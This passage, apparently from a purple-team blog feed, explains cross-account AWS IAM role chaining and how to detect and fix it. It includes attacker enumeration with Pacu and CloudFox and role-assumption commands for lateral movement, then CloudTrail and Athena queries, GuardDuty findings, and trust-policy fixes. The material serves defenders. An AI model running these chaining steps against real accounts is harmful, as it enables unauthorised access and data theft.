  jq &#039;.Roles[] | 
    select(.AssumeRolePolicyDocument.Statement[].Principal.AWS? | 
      strings | 
      test(&quot;datalake-reader&quot;)
    ) | .RoleName&#039;

# If the datalake-reader role has sts:AssumeRole permissions itself,
# the chain continues — each hop gets a fresh 1-hour session
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/analytics-admin \
  --role-session-name &quot;second-hop-$(date +%s)&quot;
</code></pre>
<h3 id="tools-attackers-use-for-cloud-lateral-movement-enumeration">Tools Attackers Use for Cloud Lateral Movement Enumeration</h3>
<p><strong>Pacu</strong> (Rhino Security Labs): Modular AWS exploitation framework. The <code class="" data-line="">iam__enum_users_roles_policies_groups</code> and <code class="" data-line="">iam__privesc_scan</code> modules map the full IAM graph and identify assumption paths automatically.</p>
<pre><code class="" data-line=""># Pacu: enumerate IAM and find assumable roles
pacu
&gt; run iam__enum_users_roles_policies_groups
&gt; run iam__privesc_scan
</code></pre>
<p><strong>CloudFox</strong> (Bishop Fox): Designed specifically for finding attack paths in cloud environments. The <code class="" data-line="">assume-role</code> command enumerates all roles the current identity can assume, including cross-account.</p>
<pre><code class="" data-line=""># CloudFox: find all roles assumable from current identity
cloudfox aws -p target-profile assume-role -v2

# CloudFox: find all cross-account trust relationships
cloudfox aws -p target-profile resource-trusts -v2
</code></pre>
<p><strong>aws-recon</strong>: Broad enumeration tool that maps IAM, S3, EC2, RDS, Secrets Manager, and trust relationships across accounts in a single pass.</p>
<hr />
<h2 id="blue-phase-detection">Blue Phase: Detection</h2>
<h3 id="cloudtrail-signal-cross-account-assumerole">CloudTrail Signal: Cross-Account AssumeRole</h3>
<p>Every <code class="" data-line="">sts:AssumeRole</code> call is logged in CloudTrail. Cross-account calls are the specific signal to filter for.</p>
<pre><code class="" data-line=""># Query CloudTrail for cross-account AssumeRole events in the last 24 hours
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time &quot;$(date -d &#039;24 hours ago&#039; --iso-8601=seconds)&quot; \
  --output json | \
  jq &#039;.Events[].CloudTrailEvent | fromjson |
    select(
      .requestParameters.roleArn != null and
      (.userIdentity.accountId != null) and
      (.requestParameters.roleArn | test(.userIdentity.accountId) | not)
    ) |
    {
      time: .eventTime,
      source_identity: .userIdentity.arn,
      source_account: .userIdentity.accountId,
      assumed_role: .requestParameters.roleArn,
      session_name: .requestParameters.roleSessionName,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<p>The CloudTrail event structure for a cross-account assumption looks like this:</p>
<pre><code class="" data-line="">{
  &quot;eventSource&quot;: &quot;sts.amazonaws.com&quot;,
  &quot;eventName&quot;: &quot;AssumeRole&quot;,
  &quot;userIdentity&quot;: {
    &quot;type&quot;: &quot;AssumedRole&quot;,
    &quot;accountId&quot;: &quot;111111111111&quot;,
    &quot;arn&quot;: &quot;arn:aws:sts::111111111111:assumed-role/lambda-execution-role/function-name&quot;
  },
  &quot;requestParameters&quot;: {
    &quot;roleArn&quot;: &quot;arn:aws:iam::222222222222:role/datalake-reader&quot;,
    &quot;roleSessionName&quot;: &quot;recon-1705327920&quot;
  },
  &quot;sourceIPAddress&quot;: &quot;203.0.113.42&quot;,
  &quot;userAgent&quot;: &quot;aws-cli/2.13.0 Python/3.11.0 Linux/5.15.0&quot;
}
</code></pre>
<p>The key fields: <code class="" data-line="">userIdentity.accountId</code> is <code class="" data-line="">111111111111</code> (dev), <code class="" data-line="">requestParameters.roleArn</code> contains <code class="" data-line="">222222222222</code> (prod). Those two account IDs not matching is the cross-account signal.</p>
<p>A fresh compromise indicator: <code class="" data-line="">userAgent</code> showing <code class="" data-line="">aws-cli</code> for a role that normally only calls AWS APIs from Lambda runtime (which uses the Python SDK and shows a different user agent). Lambda functions don&#8217;t call the CLI — if you see <code class="" data-line="">aws-cli</code> user agent on a Lambda role, that&#8217;s a human or automated tool using stolen credentials.</p>
<h3 id="athena-query-cross-account-assumptions-across-the-organization">Athena Query: Cross-Account Assumptions Across the Organization</h3>
<pre><code class="" data-line="">-- Athena against S3-backed CloudTrail logs (org-level trail)
-- Finds all cross-account AssumeRole events in the past 7 days
SELECT
  eventtime,
  useridentity.accountid AS source_account,
  useridentity.arn AS source_identity,
  requestparameters[&#039;roleArn&#039;] AS target_role,
  sourceipaddress,
  useragent,
  -- Flag: session created quickly after identity first seen (fresh compromise)
  CASE
    WHEN DATEDIFF(
      &#039;minute&#039;,
      CAST(eventtime AS timestamp),
      CURRENT_TIMESTAMP
    ) &lt; 300 THEN &#039;RECENT&#039;
    ELSE &#039;AGED&#039;
  END AS session_age
FROM cloudtrail_logs
WHERE
  eventsource = &#039;sts.amazonaws.com&#039;
  AND eventname = &#039;AssumeRole&#039;
  AND errorcode IS NULL
  AND from_iso8601_timestamp(eventtime) &gt; current_timestamp - interval &#039;7&#039; day
  -- Cross-account: source account ID not in the target role ARN
  AND useridentity.accountid NOT IN (
    SELECT DISTINCT
      REGEXP_EXTRACT(requestparameters[&#039;roleArn&#039;], &#039;arn:aws:iam::(\d+):&#039;, 1)
    FROM cloudtrail_logs
    WHERE eventname = &#039;AssumeRole&#039;
  )
ORDER BY eventtime DESC;
</code></pre>
<h3 id="guardduty-findings-for-iam-lateral-movement">GuardDuty Findings for IAM Lateral Movement</h3>
<p>GuardDuty surfaces the following finding types relevant to cross-account lateral movement:</p>
<table>
<thead>
<tr>
<th>Finding Type</th>
<th>What It Signals</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">Recon:IAMUser/UserPermissions</code></td>
<td>Identity enumerating IAM roles, policies, or permissions — consistent with Step 1</td>
</tr>
<tr>
<td><code class="" data-line="">PrivilegeEscalation:IAMUser/AdministrativePermissions</code></td>
<td>API calls attempting to gain admin access</td>
</tr>
<tr>
<td><code class="" data-line="">UnauthorizedAccess:IAMUser/TorIPCaller</code></td>
<td>Assumed role used from Tor exit node</td>
</tr>
<tr>
<td><code class="" data-line="">CredentialAccess:IAMUser/AnomalousBehavior</code></td>
<td>Credential access pattern deviates from baseline</td>
</tr>
<tr>
<td><code class="" data-line="">Exfiltration:S3/ObjectRead.Unusual</code></td>
<td>S3 read volume spike — fires after the exfiltration in Step 3</td>
</tr>
</tbody>
</table>
<pre><code class="" data-line=""># Pull active GuardDuty findings scoped to IAM lateral movement indicators
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty list-findings \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --finding-criteria &#039;{
    &quot;Criterion&quot;: {
      &quot;type&quot;: {
        &quot;Equals&quot;: [
          &quot;Recon:IAMUser/UserPermissions&quot;,
          &quot;PrivilegeEscalation:IAMUser/AdministrativePermissions&quot;,
          &quot;CredentialAccess:IAMUser/AnomalousBehavior&quot;,
          &quot;Exfiltration:S3/ObjectRead.Unusual&quot;
        ]
      },
      &quot;severity&quot;: {
        &quot;GreaterThanOrEqualTo&quot;: 4
      }
    }
  }&#039; \
  --query &#039;FindingIds&#039; --output text | \
  xargs -n 10 aws guardduty get-findings \
    --detector-id &quot;${DETECTOR_ID}&quot; \
    --finding-ids | \
  jq &#039;.Findings[] | {
    type: .Type,
    severity: .Severity,
    account: .AccountId,
    resource: .Resource.AccessKeyDetails.UserName,
    created: .CreatedAt
  }&#039;
</code></pre>
<h3 id="aws-access-analyzer-automated-trust-policy-audit">AWS Access Analyzer: Automated Trust Policy Audit</h3>
<p>Access Analyzer scans all resource-based policies in the account and flags any that grant access to principals outside the account or organization. It surfaces the vulnerable trust policy before an attacker finds it.</p>
<pre><code class="" data-line=""># List all Access Analyzer findings — these are cross-account or public access grants
ANALYZER_ARN=$(aws accessanalyzer list-analyzers \
  --query &#039;analyzers[0].arn&#039; --output text)

aws accessanalyzer list-findings \
  --analyzer-arn &quot;${ANALYZER_ARN}&quot; \
  --filter &#039;{&quot;status&quot;: {&quot;eq&quot;: [&quot;ACTIVE&quot;]}}&#039; \
  --output json | \
  jq &#039;.findings[] | {
    id: .id,
    resource_type: .resourceType,
    resource: .resource,
    principal: .principal,
    action: .action,
    condition: .condition,
    created: .createdAt
  }&#039;
</code></pre>
<p>An Access Analyzer finding for the vulnerable trust policy looks like:</p>
<pre><code class="" data-line="">{
  &quot;id&quot;: &quot;a1b2c3d4-...&quot;,
  &quot;resourceType&quot;: &quot;AWS::IAM::Role&quot;,
  &quot;resource&quot;: &quot;arn:aws:iam::222222222222:role/datalake-reader&quot;,
  &quot;principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::111111111111:root&quot;},
  &quot;action&quot;: [&quot;sts:AssumeRole&quot;],
  &quot;condition&quot;: {},
  &quot;status&quot;: &quot;ACTIVE&quot;
}
</code></pre>
<p>The <code class="" data-line="">arn:aws:iam::111111111111:root</code> principal with no condition block is the flag — the entire dev account, no restrictions.</p>
<hr />
<h2 id="purple-phase-structural-fixes">Purple Phase: Structural Fixes</h2>
<h3 id="fix-1-scope-the-trust-policy-to-the-specific-source-arn">Fix 1: Scope the Trust Policy to the Specific Source ARN</h3>
<p>This is the primary fix. The trust policy should name the exact role that needs access, not the account root.</p>
<pre><code class="" data-line="">// BAD — allows any identity in the dev account to assume this role
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Principal&quot;: {
        &quot;AWS&quot;: &quot;arn:aws:iam::111111111111:root&quot;
      },
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;
    }
  ]
}
</code></pre>
<pre><code class="" data-line="">// GOOD — only the specific Lambda execution role can assume this role
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Principal&quot;: {
        &quot;AWS&quot;: &quot;arn:aws:iam::111111111111:role/api-processor-lambda-execution-role&quot;
      },
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;,
      &quot;Condition&quot;: {
        &quot;StringEquals&quot;: {
          &quot;sts:ExternalId&quot;: &quot;prod-datalake-access-v1&quot;
        }
      }
    }
  ]
}
</code></pre>
<pre><code class="" data-line=""># Update an existing trust policy to scope it properly
aws iam update-assume-role-policy \
  --role-name datalake-reader \
  --policy-document file://scoped-trust-policy.json
</code></pre>
<h3 id="fix-2-add-externalid-for-confused-deputy-protection">Fix 2: Add ExternalId for Confused Deputy Protection</h3>
<p><code class="" data-line="">ExternalId</code> is a shared secret between the two parties establishing the cross-account trust. When the source role calls <code class="" data-line="">sts:AssumeRole</code>, it must provide the <code class="" data-line="">ExternalId</code> value, or the assumption is denied.</p>
<p>This protects against the confused deputy problem: an attacker who compromises a role that legitimately trusts your role cannot exploit that trust without also knowing the <code class="" data-line="">ExternalId</code>.</p>
<pre><code class="" data-line=""># Source (dev Lambda) must pass ExternalId when assuming the prod role
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/datalake-reader \
  --role-session-name &quot;api-processor-job&quot; \
  --external-id &quot;prod-datalake-access-v1&quot;
# If ExternalId is wrong or absent: error — not authorized to assume role
</code></pre>
<p>The limitation: <code class="" data-line="">ExternalId</code> does not help if the source account itself is compromised and the attacker has access to the application code or environment variables that contain the <code class="" data-line="">ExternalId</code> value. It adds friction for opportunistic attackers and covers the confused deputy scenario — it is not a substitute for scoping the principal ARN.</p>
<h3 id="fix-3-organizations-scps-to-restrict-cross-account-assumptions">Fix 3: Organizations SCPs to Restrict Cross-Account Assumptions</h3>
<p>Service Control Policies at the AWS Organizations level can restrict which accounts are allowed to assume roles in which other accounts. This is the enforcement layer that cannot be bypassed by any identity inside a member account.</p>
<pre><code class="" data-line="">// SCP: Only allow cross-account role assumptions between approved account pairs
// Attach to the prod account&#039;s OU
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Sid&quot;: &quot;RestrictCrossAccountAssumeRole&quot;,
      &quot;Effect&quot;: &quot;Deny&quot;,
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;,
      &quot;Resource&quot;: &quot;*&quot;,
      &quot;Condition&quot;: {
        &quot;StringNotEquals&quot;: {
          &quot;aws:PrincipalAccount&quot;: [
            &quot;111111111111&quot;,
            &quot;333333333333&quot;
          ]
        },
        &quot;BoolIfExists&quot;: {
          &quot;aws:PrincipalIsAWSService&quot;: &quot;false&quot;
        }
      }
    }
  ]
}
</code></pre>
<p>This SCP denies any <code class="" data-line="">sts:AssumeRole</code> call that originates from an account not in the approved list. Even if someone adds a new trust policy in prod that allows an arbitrary external account, the SCP blocks the call at the organization level.</p>
<h3 id="fix-4-enable-access-analyzer-organization-wide">Fix 4: Enable Access Analyzer Organization-Wide</h3>
<p>Access Analyzer should run with an organization-level analyzer, not just per-account. The organization analyzer has visibility across all member accounts and flags cross-account trust policies automatically.</p>
<pre><code class="" data-line=""># Create an organization-level analyzer (run from the management account)
aws accessanalyzer create-analyzer \
  --analyzer-name org-wide-access-analyzer \
  --type ORGANIZATION \
  --tags &#039;{&quot;Environment&quot;: &quot;production&quot;, &quot;Team&quot;: &quot;security&quot;}&#039;

# List active findings organization-wide
ANALYZER_ARN=$(aws accessanalyzer list-analyzers \
  --query &quot;analyzers[?type==&#039;ORGANIZATION&#039;].arn | [0]&quot; \
  --output text)

aws accessanalyzer list-findings \
  --analyzer-arn &quot;${ANALYZER_ARN}&quot; \
  --filter &#039;{&quot;resourceType&quot;: {&quot;eq&quot;: [&quot;AWS::IAM::Role&quot;]}, &quot;status&quot;: {&quot;eq&quot;: [&quot;ACTIVE&quot;]}}&#039; \
  --output json | \
  jq &#039;.findings[] | {resource: .resource, principal: .principal}&#039;
</code></pre>
<h3 id="fix-5-prefer-oidc-workload-identity-over-cross-account-roles">Fix 5: Prefer OIDC Workload Identity Over Cross-Account Roles</h3>
<p>Where the access pattern allows it, replacing the cross-account role with OIDC workload identity eliminates the static trust relationship entirely. A Lambda function with an OIDC identity can authenticate to the prod account by exchanging a token, without any persistent trust policy entry that an attacker could enumerate and exploit.</p>
<p>The <a href="/workload-identity-oidc-service-accounts/">federated identity trust boundaries approach using OIDC workload identity</a> removes the assumable role from the attack surface completely — there is no trust policy to misscope, no role ARN to enumerate, and no <code class="" data-line="">sts:AssumeRole</code> call in CloudTrail to detect because the assumption never happens.</p>
<h3 id="fix-6-enable-guardduty-cross-account-threat-detection-at-org-level">Fix 6: Enable GuardDuty Cross-Account Threat Detection at Org Level</h3>
<p>GuardDuty with multi-account management via AWS Organizations correlates threat signals across accounts. A pattern that looks like routine IAM activity in isolation — role assumption, S3 ListBucket, GetObject — reads as a lateral movement sequence when correlated across dev and prod accounts.</p>
<pre><code class="" data-line=""># Enable GuardDuty for all accounts in the organization (from management account)
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty update-organization-configuration \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --auto-enable \
  --data-sources &#039;{
    &quot;S3Logs&quot;: {&quot;AutoEnable&quot;: true},
    &quot;Kubernetes&quot;: {&quot;AuditLogs&quot;: {&quot;AutoEnable&quot;: true}},
    &quot;MalwareProtection&quot;: {&quot;ScanEc2InstanceWithFindings&quot;: {&quot;AutoEnable&quot;: true}}
  }&#039;
</code></pre>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>ExternalId doesn&#8217;t protect you if the source account is compromised.</strong> The attacker who holds the dev Lambda&#8217;s execution role credentials also has access to the Lambda&#8217;s environment variables and source code — where the <code class="" data-line="">ExternalId</code> value is likely stored. ExternalId is not a secret the attacker can&#8217;t reach; it is a value the legitimate caller passes to prove it initiated the request. Scope the principal ARN first; add ExternalId as a second layer.</p>
<p><strong>Access Analyzer only catches public and cross-account access, not intra-account lateral movement.</strong> If the attacker is already operating inside the same account as the target role, Access Analyzer does not flag the trust relationship. Intra-account over-broad trust policies require IAM policy analysis tooling (Cloudsplaining, Prowler) to surface — Access Analyzer won&#8217;t show them.</p>
<p><strong>Role chaining resets the session clock but the window is still one hour.</strong> <code class="" data-line="">sts:AssumeRole</code> sessions last up to one hour by default. An attacker doing role chaining gets a fresh one-hour window at each hop. Persistent access requires refreshing before expiry — which means repeated <code class="" data-line="">AssumeRole</code> calls in CloudTrail that form a detectable pattern if you&#8217;re querying for it.</p>
<p><strong>S3 exfiltration may not trigger GuardDuty immediately.</strong> GuardDuty&#8217;s <code class="" data-line="">Exfiltration:S3/ObjectRead.Unusual</code> finding uses a behavior baseline. A new attacker session has no baseline — the first data exfiltration may not fire the finding if the volume appears &#8220;normal&#8221; relative to what GuardDuty has seen from that role before. CloudTrail <code class="" data-line="">GetObject</code> events are the reliable signal; don&#8217;t rely on GuardDuty alone for S3 exfiltration detection.</p>
<p><strong><code class="" data-line="">arn:aws:iam::ACCOUNT:root</code> in a trust policy does not mean the root user specifically.</strong> This is a common misread. <code class="" data-line="">arn:aws:iam::123456789012:root</code> means any principal in account <code class="" data-line="">123456789012</code> — IAM users, roles, the root user, and federated identities. It is the account-level wildcard, which is exactly why it&#8217;s dangerous in a cross-account trust policy.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Lateral Movement Technique</th>
<th>CloudTrail Signal</th>
<th>Detection Tool</th>
<th>Structural Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cross-account <code class="" data-line="">sts:AssumeRole</code></td>
<td><code class="" data-line="">AssumeRole</code> where source accountId ≠ target accountId in role ARN</td>
<td>CloudTrail + Athena query</td>
<td>Scope Principal to specific role ARN</td>
</tr>
<tr>
<td>Account root as trust principal</td>
<td>Access Analyzer ACTIVE finding on IAM Role</td>
<td>AWS Access Analyzer</td>
<td>Replace <code class="" data-line="">root</code> with specific ARN + ExternalId</td>
</tr>
<tr>
<td>Role chaining across accounts</td>
<td>Multiple sequential <code class="" data-line="">AssumeRole</code> events, each with new session token</td>
<td>CloudTrail session correlation</td>
<td>SCP restricting cross-account assumptions to approved pairs</td>
</tr>
<tr>
<td>Exfiltration via assumed prod role</td>
<td>S3 <code class="" data-line="">GetObject</code>/<code class="" data-line="">ListBucket</code> from assumed-role session in CloudTrail</td>
<td>CloudTrail + GuardDuty <code class="" data-line="">Exfiltration:S3/ObjectRead.Unusual</code></td>
<td>Least-privilege S3 policy on prod role + S3 Access Logs</td>
</tr>
<tr>
<td>IAM enumeration from compromised identity</td>
<td><code class="" data-line="">iam:ListRoles</code>, <code class="" data-line="">iam:GetRole</code>, <code class="" data-line="">iam:SimulatePrincipalPolicy</code></td>
<td>GuardDuty <code class="" data-line="">Recon:IAMUser/UserPermissions</code></td>
<td>Deny <code class="" data-line="">iam:*</code> on Lambda execution roles</td>
</tr>
<tr>
<td>Secrets Manager access via assumed role</td>
<td><code class="" data-line="">secretsmanager:GetSecretValue</code> from unexpected principal</td>
<td>CloudTrail resource policy audit</td>
<td>Attach resource policy to secrets scoping allowed principals</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Cloud lateral movement IAM</strong> chains are not exploits — they are valid API calls that execute because someone wrote a trust policy that was too broad; the fix is always in the trust policy, not in the network</li>
<li>Every cross-account trust policy that uses <code class="" data-line="">arn:aws:iam::ACCOUNT:root</code> as the principal is an open door for any compromised identity in that account — scope it to the specific role ARN before an attacker finds it before you do</li>
<li>CloudTrail <code class="" data-line="">AssumeRole</code> events where the principal&#8217;s account ID doesn&#8217;t match the target role&#8217;s account ID are the detection signal; run the Athena query in your environment this week and look at what comes back</li>
<li>AWS Access Analyzer with an organization-level analyzer surfaces the vulnerable trust policies automatically — if you&#8217;re not running it, you&#8217;re auditing trust policies manually or not at all</li>
<li><a href="/cloud-iam-privilege-escalation/">IAM privilege escalation paths</a> and cross-account lateral movement compound: an attacker who escalates privilege inside a source account has more roles to attempt cross-account assumptions from, extending the blast radius further</li>
<li>Defense in depth requires all three layers: scoped trust policy principal, <code class="" data-line="">ExternalId</code> condition, and an SCP blocking assumptions from non-approved accounts — any single layer has a bypass</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP11 is where the series pivots from attack paths to detection engineering. We&#8217;ve covered how attackers compromise identities, escalate privilege, move laterally through cloud accounts, and exfiltrate data. EP11 asks a harder question: how do you build detection rules that catch these techniques at the kernel level — before the attack completes, not after it shows up in CloudTrail?</p>
<p>The answer involves eBPF: kernel-level visibility that gives you process execution context, network connections, and file system access in real time, mapped to the cloud workload identity making the API calls. A SIEM ingesting CloudTrail logs sees what happened after the fact. eBPF running on the node sees the <code class="" data-line="">aws sts assume-role</code> subprocess spawn, the credential file write, and the outbound S3 connection — while it&#8217;s happening.</p>
<p>Get EP11 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&#038;title=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" data-a2a-url="https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/" data-a2a-title="Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained"></a></p><p>The post <a href="https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/">Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1870</post-id>	</item>
		<item>
		<title>Broken Access Control in AWS: From Misconfigured S3 to Admin</title>
		<link>https://linuxcent.com/broken-access-control-aws-cloud/</link>
					<comments>https://linuxcent.com/broken-access-control-aws-cloud/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Thu, 04 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Broken Access Control]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[S3]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1852</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span>Broken access control is OWASP A01 because it is the most common cloud failure. How IAM wildcards, public S3 buckets, and overpermissioned roles create admin-level exposure.</p>
<p>The post <a href="https://linuxcent.com/broken-access-control-aws-cloud/">Broken Access Control in AWS: From Misconfigured S3 to Admin</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <strong>Broken access control in AWS</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Broken access control in AWS</strong> is OWASP A01 — the most common cloud security failure, covering IAM wildcards, public S3 buckets, and overly broad trust policies</li>
<li>A public S3 bucket containing 47 million customer records went undetected for six months in an authorized assessment — no GuardDuty finding, no AWS Config alert, because those controls weren&#8217;t enabled</li>
<li>The red phase: three commands to identify public buckets, enumerate IAM over-permissions, and test trust policy abuse — all with read-only access on your own account</li>
<li>The blue phase: two AWS Config managed rules and one GuardDuty finding type that cover the majority of A01 findings</li>
